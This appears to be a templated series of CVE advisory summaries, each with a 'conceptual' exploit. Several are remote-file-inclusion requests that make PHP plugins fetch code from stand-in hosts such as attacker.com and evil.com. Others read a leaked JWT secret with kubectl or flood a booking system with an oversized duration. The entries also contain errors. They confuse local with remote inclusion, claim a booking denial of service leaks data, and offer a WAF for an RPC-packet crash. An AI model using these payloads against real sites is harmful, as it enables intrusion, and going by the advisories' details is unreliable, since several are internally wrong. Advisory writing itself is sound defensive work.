Author: Ameeba

  • CVE-2025-47510: PHP Remote File Inclusion Vulnerability in Display Eventbrite Events

    Overview

    The CVE-2025-47510 vulnerability is a critical issue affecting the Display Eventbrite Events PHP program. It is an instance of the ‘PHP Remote File Inclusion’ vulnerability, resulting from the improper control of filename for Include/Require Statement in the PHP program. The vulnerability can potentially lead to system compromise or data leakage, making it a serious threat to the security of the affected systems.

    Vulnerability Summary

    CVE ID: CVE-2025-47510
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    Fullworks Display Eventbrite Events | All versions up to the latest

    How the Exploit Works

    This vulnerability exploits the improper control of filename for Include/Require Statement in PHP. An attacker can manipulate the file inclusion mechanisms in PHP to execute remote files. This can be done by tampering with the filename argument in the include/require statement, making it point to a malicious file on a remote server instead of a local file. Once the remote file is included, it gets executed in the server’s context, leading to potential system compromise or data leakage.

    Conceptual Example Code

    Here is a conceptual example of how this vulnerability might be exploited:

    <?php
    // The 'file' parameter value is taken from user input
    $file = $_GET['file'];
    // The file is included without any validation
    include($file . '.php');
    ?>

    In the above example, a malicious actor could send a request like `http://target.com/vulnerable.php?file=http://malicious.com/malicious`, which results in the inclusion and execution of the malicious file from the attacker’s server. This could lead to various malicious activities, depending on the content of the included file.

  • CVE-2025-47508: PHP Remote File Inclusion Vulnerability in GamiPress

    Overview

    The CVE-2025-47508 vulnerability is a serious issue that affects GamiPress, a popular gamification plugin for WordPress websites. This vulnerability arises due to improper control of filename for Include/Require statement in PHP program, which allows a PHP Local File Inclusion (LFI). The potential impact of this vulnerability can lead to a complete system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-47508
    Severity: High (7.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    GamiPress | up to 7.3.7

    How the Exploit Works

    The CVE-2025-47508 exploit operates by leveraging the improper control of filenames for Include/Require statements in the PHP programming language used by GamiPress. An attacker could manipulate the filename that’s included in the server-side PHP scripts, allowing for the execution of arbitrary PHP code. This could potentially allow for PHP Local File Inclusion (LFI), leading to data leakage or complete system compromise.

    Conceptual Example Code

    Here is a conceptual example of how the vulnerability might be exploited:

    GET /path/to/vulnerable/script.php?file=http://malicious.com/malicious_code.txt HTTP/1.1
    Host: vulnerable-website.com

    In this example, the attacker is making a GET request to the vulnerable PHP script, manipulating the `file` parameter to include a remote file from a malicious server (`http://malicious.com/malicious_code.txt`). This file contains malicious PHP code, which is executed on the server hosting the vulnerable script.

  • CVE-2025-47498: PHP Remote File Inclusion Vulnerability in nicdark Hotel Booking System

    Overview

    This report addresses the critical vulnerability CVE-2025-47498 found in the nicdark Hotel Booking system. This vulnerability, pertaining to the improper control of filename for include/require statement in PHP programs, could potentially allow attackers to execute malicious scripts remotely on the server. Consequently, this issue poses a significant risk to the system’s integrity, potentially leading to full system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-47498
    Severity: High (7.5 CVSS Score)
    Attack Vector: Remote
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    nicdark Hotel Booking | All versions through 3.6

    How the Exploit Works

    The PHP Remote File Inclusion vulnerability allows an attacker to include a remote file, typically through a script on a web server, due to the misuse of require() or include() functions in PHP. This misuse can allow the attacker to run arbitrary PHP code in the server context, potentially leading to severe consequences such as system compromise or data leakage.

    Conceptual Example Code

    <?php
    // vulnerable PHP code
    $incfile = $_REQUEST["file"];
    include($incfile . ".php");
    ?>

    An attacker could exploit this by sending a request like this:

    GET /vulnerable_page.php?file=http://attacker.com/malicious_code HTTP/1.1
    Host: target.example.com

    This would result in the server downloading and executing the malicious PHP code hosted on attacker.com.

    Recommended Mitigation Techniques

    It is advised to apply the vendor patch as soon as it becomes available. In the interim, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used to filter out malicious requests targeting this vulnerability. Furthermore, it is good practice to avoid using user input directly in file include operations and instead use a white-list of allowable inputs.

  • CVE-2025-47496: Critical PHP Remote File Inclusion Vulnerability in PublishPress Authors

    Overview

    The document discusses a critical vulnerability, CVE-2025-47496, that affects the PublishPress Authors plugin used widely in web development. This vulnerability arises due to improper control of filename for Include/Require Statement in PHP Program and could lead to PHP Local File Inclusion. The vulnerability is of high concern as it could potentially compromise the system and lead to data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-47496
    Severity: High Risk (CVSS Score: 7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise and data leakage

    Affected Products

    Product | Affected Versions

    PublishPress Authors | n/a through 4.7.5

    How the Exploit Works

    The vulnerability stems from the improper control of filename for Include/Require Statement in the PHP program of PublishPress Authors. This allows an attacker to include a file from a remote server. If the attacker can control the input of the file name and manipulate it to point to a malicious file on a remote server, the vulnerability facilitates the execution of arbitrary code. This could potentially compromise the entire system and lead to a data breach.

    Conceptual Example Code

    Below is a conceptual example of how this vulnerability might be exploited. This is a sample HTTP request where the attacker manipulates the file path to point to a malicious file on a remote server.

    GET /index.php?file=http://malicious-server.com/malicious-file.php HTTP/1.1
    Host: target.example.com

    In the above request, the attacker has manipulated the ‘file’ parameter to point to ‘malicious-file.php’ on ‘malicious-server.com’. If the server processes this request, it would include the malicious file leading to the execution of the arbitrary code contained within.

    Mitigation

    The recommended mitigation for this flaw is to apply the vendor’s patch as soon as it becomes available. Meanwhile, as a temporary mitigation, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help in blocking or alerting about potential exploitation attempts.

  • CVE-2025-47494: PHP Local File Inclusion Vulnerability in EventON

    Overview

    The vulnerability titled CVE-2025-47494 describes an issue with improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’), specifically within the EventON product by Ashan Perera. This vulnerability is particularly concerning as it allows for PHP Local File Inclusion, potentially leading to system compromise or data leakage. It is crucial for users and administrators to understand this vulnerability to ensure their systems’ safety.

    Vulnerability Summary

    CVE ID: CVE-2025-47494
    Severity: High (7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    EventON | Versions up to 2.4.1

    How the Exploit Works

    The exploit takes advantage of the PHP program’s improper control of filename for Include/Require Statement. An attacker can manipulate this to include a local file from the server, enabling them to execute arbitrary PHP code. This could lead to unauthorized access to sensitive data or control over the system.

    Conceptual Example Code

    An example of how the vulnerability might be exploited is shown below. This is a conceptual example of a malicious HTTP request.

    GET /vulnerable_page.php?file=http://evil.com/malicious_code.txt HTTP/1.1
    Host: target.example.com

    In this example, the attacker is requesting a page (`vulnerable_page.php`) from the target server (`target.example.com`), and the `file` parameter is manipulated to include a malicious file (`malicious_code.txt`) from an external server (`evil.com`). If the server is vulnerable, it will include and execute the malicious PHP code from the external file.

    Mitigation

    To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. As a temporary mitigation, usage of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide some level of protection. It is also advisable to configure PHP settings to disallow including files from external sources.

  • CVE-2025-47440: High-Risk PHP Remote File Inclusion Vulnerability in WPAdverts Plugin

    Overview

    CVE-2025-47440 is a high-risk vulnerability that impacts the WPAdverts plugin developed by Greg Winiarski. This vulnerability arises from an improper control of filename for include/require statement in PHP programs, specifically known as ‘PHP Remote File Inclusion’. If successfully exploited, the vulnerability could lead to potential system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-47440
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    WPAdverts by Greg Winiarski | n/a through 2.2.2

    How the Exploit Works

    The exploit works by taking advantage of the improper control of filename for include/require statement in PHP programs. An attacker could remotely insert a PHP file from an external server that contains malicious code. When the targeted system executes this inclusion, the malicious code runs, potentially leading to system compromise or data leakage.

    Conceptual Example Code

    Here’s a conceptual example illustrating how this vulnerability might be exploited:

    POST /wpadverts/endpoint.php HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    include=http://attacker.com/malicious_file.php

    In this example, an attacker sends a request to an endpoint of the WPAdverts plugin, instructing it to include a PHP file from an external server controlled by the attacker. This file contains malicious code which, once executed, enables the attacker to potentially compromise the system or leak data.

    Mitigation

    To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability.
    In addition to these measures, it is also advisable to follow best practices for secure coding to avoid similar vulnerabilities in the future. This includes validating input, using secure API calls, and regularly updating and patching all software components.

  • CVE-2025-47439: Remote File Inclusion Vulnerability in WP Chill Download Monitor

    Overview

    The CVE-2025-47439 vulnerability pertains to an improper control of filename for a PHP program’s Include/Require statement, specifically in WP Chill’s Download Monitor. This flaw allows PHP Local File Inclusion, which could potentially lead to system compromise or data leakage. As a significant risk to any organization using affected versions of WP Chill Download Monitor, it is crucial to address this vulnerability promptly.

    Vulnerability Summary

    CVE ID: CVE-2025-47439
    Severity: High (7.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    WP Chill Download Monitor | n/a through 5.0.22

    How the Exploit Works

    This vulnerability arises due to incorrect control of filename for Include/Require statement in the PHP program. The attacker can manipulate the input to the include() or require() function, allowing them to execute a PHP script from a remote server. The attacker can exploit this vulnerability to execute arbitrary PHP code, possibly resulting in unauthorized access, data leakage, or a system compromise.

    Conceptual Example Code

    The following is a conceptual example of a crafted HTTP request that exploits this vulnerability:

    POST /download-monitor/endpoint.php HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    include_file=http://malicious.example.com/exploit.php

    In the above example, the attacker is instructing the vulnerable application to include and execute PHP code from `exploit.php` on their controlled server `malicious.example.com`.

    Mitigation

    Users are advised to apply the vendor patch as soon as it becomes available. Until then, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation to monitor and block suspicious activity. Regularly updating and patching software can also help prevent exploitation of such vulnerabilities.

  • CVE-2025-29448: Denial of Service Vulnerability in Easy!Appointments v1.5.1

    Overview

    A newly identified vulnerability, CVE-2025-29448, affects the popular booking application, Easy!Appointments v1.5.1. This critical flaw allows unauthenticated attackers to exploit the booking logic and create appointments with excessively long durations, resulting in a denial of service by blocking all future booking availability. It presents a significant risk, potentially leading to system compromise and data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-29448
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Denial of service, potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Easy!Appointments | v1.5.1

    How the Exploit Works

    The exploit leverages a flaw in the booking logic of Easy!Appointments v1.5.1. An unauthenticated attacker can create appointments with excessively long durations. The prolonged booking duration then blocks all future booking availability, leading to a denial of service. This could potentially compromise the system or lead to data leakage.

    Conceptual Example Code

    Here is a conceptual example of an HTTP POST request that an attacker might use to exploit this vulnerability:

    POST /booking/create HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    {
    "appointment_duration": 999999999,
    "appointment_start": "2025-12-31T00:00:00"
    }

    In this example, the attacker sets the “appointment_duration” to an excessively long value, thereby blocking future bookings. The “appointment_start” is set to a future date, causing the system to indefinitely wait for the appointment to finish, resulting in a denial of service.

    Mitigation Guidance

    To mitigate this vulnerability, it is recommended to apply the patch provided by the vendor immediately. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure, restricting the ability of an attacker to submit overly long appointment durations.

  • CVE-2025-33093: IBM Sterling Partner Engagement Manager JWT Secret Exposure Vulnerability

    Overview

    The CVE-2025-33093 vulnerability affects IBM Sterling Partner Engagement Manager versions 6.1.0, 6.2.0, and 6.2.2. This vulnerability can potentially lead to severe system compromise or data leakage due to the exposure of JWT secrets in public Helm Charts. These secrets are not stored as Kubernetes secrets, making it a significant cybersecurity issue.

    Vulnerability Summary

    CVE ID: CVE-2025-33093
    Severity: High (CVSS: 7.5)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    IBM Sterling Partner Engagement Manager | 6.1.0
    IBM Sterling Partner Engagement Manager | 6.2.0
    IBM Sterling Partner Engagement Manager | 6.2.2

    How the Exploit Works

    An attacker can exploit this vulnerability by accessing the exposed JWT secrets in the public Helm Charts. This access potentially allows an attacker to impersonate legitimate services within the Kubernetes environment, thereby gaining unauthorized access to sensitive data or systems.

    Conceptual Example Code

    Here is a conceptual example of how the vulnerability might be exploited. This example assumes the attacker is able to access the Helm Chart:

    # Access the Helm Chart
    kubectl get helmchart sterling -o jsonpath='{.data.JWT_SECRET}'
    # The output will be the JWT secret
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

    Please note that this is a simplified example and actual exploitation might require additional steps depending on the security controls in place.

    Mitigation Guidance

    For mitigation, it is recommended to apply the vendor patch once it becomes available. In the interim, using WAF or IDS can serve as a temporary mitigation. Always ensure that secrets are properly managed and stored securely, not in public or accessible locations.

  • CVE-2025-32405: Out-of-Bounds Write Vulnerability in RT-Labs P-Net

    Overview

    CVE-2025-32405 is a serious vulnerability affecting RT-Labs P-Net version 1.0.1 and earlier. This flaw allows an attacker to crash IO devices that use the library by sending a malicious RPC packet. This vulnerability is significant as it potentially compromises the system and leads to data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-32405
    Severity: High (7.5 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    RT-Labs P-Net | 1.0.1 and earlier

    How the Exploit Works

    The exploit takes advantage of an out-of-bounds write vulnerability in RT-Labs P-Net. An attacker can craft and send a malicious RPC packet to the target IO devices using the library. This malicious packet can cause the IO devices to crash, leading to potential system compromise and data leakage.

    Conceptual Example Code

    Here’s a simplified conceptual example of how this vulnerability could be exploited:

    POST /rpc_process HTTP/1.1
    Host: target_device_ip
    Content-Type: application/json
    { "rpc_packet": "malicious_data_that_triggers_out_of_bounds_write" }

    In this example, the “rpc_packet” contains malicious data that triggers the out-of-bounds write vulnerability. Once the target device processes this RPC packet, it could crash, leading to potential system compromise and data leakage.

    Mitigation Guidance

    Users of RT-Labs P-Net 1.0.1 and earlier are advised to apply the vendor patch as soon as possible to mitigate this vulnerability. If a patch is not immediately available or applicable, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary solution can help to prevent the exploit.

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